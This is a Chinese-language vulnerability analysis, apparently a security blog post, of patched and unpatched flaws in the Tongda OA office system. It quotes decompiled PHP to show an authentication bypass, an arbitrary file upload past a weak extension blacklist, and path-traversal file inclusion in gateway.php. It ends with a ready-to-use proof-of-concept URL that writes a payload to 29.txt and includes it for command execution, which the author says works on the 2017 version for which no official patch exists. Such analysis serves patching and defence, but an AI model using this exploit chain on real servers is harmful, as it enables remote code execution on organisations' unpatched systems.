通达OA官方于2020-03-13发布了安全更新,修复了任意文件上传(2013、2013adv、2015、2016、2017、V11)和文件包含(V11)漏洞,从官网下到源码解密后,简单看了下
直接看主流的2017、V11产品吧,这个系列产品有全版本的变量覆盖问题
V11、2017任意上传
以2017为例
补丁文件路径:2020_A1\2017版\ispirit\im\upload.php
左侧为原始代码,右侧为补丁,可以看到直接将鉴权的文件从else
里释放了出来,避免了第5行传入P
值导致的权限绕过问题

继续往下看任意文件上传的问题
$TYPE = $_POST["TYPE"]; $DEST_UID = $_POST["DEST_UID"]; $dataBack = array(); if (($DEST_UID != "") && !td_verify_ids($ids)) { $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效")); echo json_encode(data2utf8($dataBack)); exit(); }
|
这里进行了判断是否为空并调用了td_verify_ids
函数进行校验
function td_verify_ids($ids) { return !preg_match("/[^0-9,]+/", $ids); }
|
其中$ids
为get
传入的ids
值,PHP中没有进行赋值的变量的值为NULL
,此时的!preg_match("/[^0-9,]+/", $ids)
为false
而DEST_UID
我们可以通过POST
操作,因此绕过了这个判断
继续往下看
if (strpos($DEST_UID, ",") !== false) { } else { $DEST_UID = intval($DEST_UID); }
if ($DEST_UID == 0) { if ($UPLOAD_MODE != 2) { $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效")); echo json_encode(data2utf8($dataBack)); exit(); } }
|
如果DEST_UID
中存在有,
,则通过intval
获取整数值;最后当$DEST_UID=0
时,UPLOAD_MODE
要为2 否接收方ID无效。
$MODULE = "im";
if (1 <= count($_FILES)) { if ($UPLOAD_MODE == "1") { if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) { $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]); } }
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
if (!is_array($ATTACHMENTS)) { $dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS); echo json_encode(data2utf8($dataBack)); exit(); }
|
$_FILES
全局变量大于等于1的时候(就是有文件上传的时候),会调用upload
方法进行处理,这里的文件上传的参数为ATTACHMENT
跟进upload
方法后发现了文件名合法性校验函数is_uploadable
function is_uploadable($FILE_NAME) { $POS = strrpos($FILE_NAME, ".");
if ($POS === false) { $EXT_NAME = $FILE_NAME; } else { if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") { return false; }
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1)); }
|
通过strrpos
函数获取.
最后一次出现的位置开始到后面的3个字符串,不能为php
,基于黑名单的绕过方式有很多,不再赘述。
V11文件包含
路径:ispirit\interface\gateway.php
ob_start(); include_once "inc/session.php"; include_once "inc/conn.php"; include_once "inc/utility_org.php";
if ($P != "") { if (preg_match("/[^a-z0-9;]+/i", $P)) { echo _("非法参数"); exit(); }
session_id($P); session_start(); session_write_close(); if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) { echo _("RELOGIN"); exit(); } }
|
只需要不传入P参数即可绕过,
if ($json) { $json = stripcslashes($json); $json = (array) json_decode($json);
foreach ($json as $key => $val ) { if ($key == "data") { $val = (array) $val;
foreach ($val as $keys => $value ) { $keys = $value; } }
if ($key == "url") { $url = $val; } }
if ($url != "") { if (substr($url, 0, 1) == "/") { $url = substr($url, 1); }
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) { include_once $url; } }
exit(); }
|
传入json
参数,其中包含url
参数且url
中包含general\
、ispirit\
、module\
其一即可,url
通过跨目录方式可以包含通过文件上传漏洞上传的包含恶意代码的文件造成命令执行。
2017文件包含(官方无补丁,仅有文件上传补丁)
文件路径:mac\gateway.php
原理同上,但是利用方式更为简单
<?php
ob_start(); include_once "inc/session.php"; include_once "inc/conn.php"; include_once "inc/utility_org.php";
if ($P != "") { if (preg_match("/[^a-z0-9;]+/i", $P)) { echo _("非法参数"); exit(); }
session_id($P); session_start(); session_write_close(); if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) { echo _("RELOGIN"); exit(); } }
if ($json) { $json = stripcslashes($json); $json = (array) json_decode($json);
foreach ($json as $key => $val ) { if ($key == "data") { $val = (array) $val;
foreach ($val as $keys => $value ) { $keys = $value; } }
if ($key == "url") { $url = $val; } }
if ($url != "") { if (substr($url, 0, 1) == "/") { $url = substr($url, 1); }
include_once $url; }
exit(); }
?>
|
拿下2017的另一个思路
官方发布了任意文件上传的补丁,并且部分WAF拦截了形如../../
跨目录方式,无法包含nginx
日志,是否意味着无法用包含玩了呢?
通过一番寻找,发现了一处利用官方文件合法写入并包含的点
涉及到的文件路径general/workflow/document_list/input_form/form6.php
<?php
echo "<script type=\"text/javascript\" src=\"/inc/js/jquery/jquery.min.js.jz\"></script>\r\n<script> \r\nfunction click_main_doc_op(op)\r\n{\r\n\t if(op == \"1\")\r\n\t { \r\n\t\t $(\"tr_addfile\").style.display = ''; \r\n }else\r\n\t {\t \r\n\t\t $(\"tr_addfile\").style.display = 'none'; \r\n\t }\r\n}\r\nfunction check(){\r\n\talert();\r\n}\r\n\r\n</script>\r\n\r\n";
if ($MAINDOC_ID !== "") { file_put_contents("29.txt", $MAINDOC_ID); ob_start(); echo "<br>"; include_once "document_attach.php"; $data .= ob_get_contents(); ob_flush(); echo "\r\n\r\n\r\n"; } else { echo "<table class=\"TableBlock\" width=\"95%\" align=\"center\">\r\n <tr>\r\n \t<td class=\"TableHeader\" colspan=\"2\">创建正文文件</b>\r\n </tr>\r\n </tr>\r\n <tr id=\"maindoc\">\r\n \t<td class=\"TableData\" width=\"120\"><b>创建方式:</b></td>\r\n \t<td class=\"TableData\">\r\n \t <input type=\"radio\" name=\"MAIN_DOC_OP\" id=\"MAIN_DOC_OP_1\" value=\"1\" onclick=\"click_main_doc_op(this.value)\"><label for=\"MAIN_DOC_OP_1\">"; echo _("上传本地文件"); echo "</label>\r\n \t <input type=\"radio\" name=\"MAIN_DOC_OP\" id=\"MAIN_DOC_OP_2\" value=\"2\" onclick=\"click_main_doc_op(this.value)\"><label for=\"MAIN_DOC_OP_2\">"; echo _("新建空文件"); echo "</label>\r\n <input type=\"button\" id=\"MAIN_DOC_OP\" value=\"确定\" class=\"SmaillButton\" onclick=\"CheckForm(15);\" >\r\n \t</td>\r\n </tr>\r\n <tr id=\"tr_addfile\" style=\"display:none;\">\r\n \t<td class=\"TableData\"><b>选择本地文件:</b></td>\r\n \t<td class=\"TableData\" >\r\n \t <input type=\"file\" class=\"BigInput\" name=\"MAIN_DOC_FILE\" size=40>\r\n \t</td>\r\n </tr>\r\n</table>\r\n"; }
?>
|
由于这套程序存在变量覆盖,因此通过gateway.php
包含该文件并传入MAINDOC_ID
即可,POC:
/mac/gateway.php?json={"url":"../general/workflow/document_list/input_form/form6.php"}&MAINDOC_ID=PAYLOAD
|
然后就会在/mac
目录下生成29.txt
,然后包含即可
